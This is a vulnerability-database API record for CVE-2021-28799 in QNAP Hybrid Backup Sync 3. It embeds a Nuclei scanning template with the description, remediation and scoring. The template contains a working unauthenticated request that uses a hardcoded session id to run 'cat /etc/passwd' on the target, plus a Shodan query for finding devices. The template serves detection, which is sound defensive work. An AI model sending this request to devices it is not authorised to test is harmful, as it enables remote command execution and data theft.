{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2021-28799/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2021-28799/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2021-28799/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2021-28799/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2021-28799/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2021-28799"},"sightings":{"href":"/api/v1/sightings/cve-2021-28799"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2021/CVE-2021-28799.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2021-28799\n\ninfo:\n  name: QNAP HBS 3 - Broken Access Control\n  author: daffainfo\n  severity: critical\n  description: |\n    An improper authorization vulnerability has been reported to affect QNAP NAS running HBS 3 (Hybrid Backup Sync. ) If exploited, the vulnerability allows remote attackers to log in to a device. This issue affects: QNAP Systems Inc. HBS 3 versions prior to v16.0.0415 on QTS 4.5.2; versions prior to v3.0.210412 on QTS 4.3.6; versions prior to v3.0.210411 on QTS 4.3.4; versions prior to v3.0.210411 on QTS 4.3.3; versions prior to v16.0.0419 on QuTS hero h4.5.1; versions prior to v16.0.0419 on QuTScloud c4.5.1~c4.5.4. This issue does not affect: QNAP Systems Inc. HBS 2 . QNAP Systems Inc. HBS 1.3 .\n  impact: |\n    Remote attackers can log in without proper authorization, potentially leading to full system compromise or unauthorized data access.\n  remediation: |\n    Update to the latest versions: v16.0.0415 or later for QTS 4.5.2, v3.0.210412 or later for QTS 4.3.6, v3.0.210411 or later for QTS 4.3.4 and 4.3.3, v16.0.0419 or later for QuTS hero h4.5.1, and v16.0.0419 or later for QuTScloud c4.5.1~c4.5.4.\n  reference:\n    - https://www.qnap.com/en/security-advisory/QSA-21-13\n    - https://unit42.paloaltonetworks.com/ech0raix-ransomware-soho/\n    - https://gist.github.com/daniruiz/962ecca527b59954e619c5ae2cab680c\n    - https://nvd.nist.gov/vuln/detail/CVE-2021-28799\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2021-28799\n    cwe-id: CWE-285\n    epss-score: 0.7825\n    epss-percentile: 0.99557\n    cpe: cpe:2.3:a:qnap:hybrid_backup_sync:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-requests: 1\n    vendor: qnap\n    product: hybrid_backup_sync\n    shodan-query: product:\"QNAP\"\n  tags: cve,cve2021,qnap,qts,qutshero,hbs3,rce,vkev,kev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /cgi-bin/backup/hbs_mgnt.cgi HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json; charset=UTF-8\n\n        {\"act\":\"run_cmd\",\"sid\":\"jisoosocoolhbsmgnt\",\"cmd\":\"cat /etc/passwd\"}\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        part: body\n        regex:\n          - 'admin:.*:0:0:'\n          - '\"cgi_log\":'\n          - '\"result\":'\n        condition: and\n\n      - type: word\n        part: content_type\n        words:\n          - 'application/json'\n\n      - type: status\n        status:\n          - 200\n# digest: 4b0a00483046022100c8ffbdd6f756f48ad9f53a1f008e85dcd5c396282b07f423979ab21b122d00d3022100fe42905749ea46c08e845e5bcddaa6a9bfa042d566559a89c47abdbe091c2894:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2021-28799"}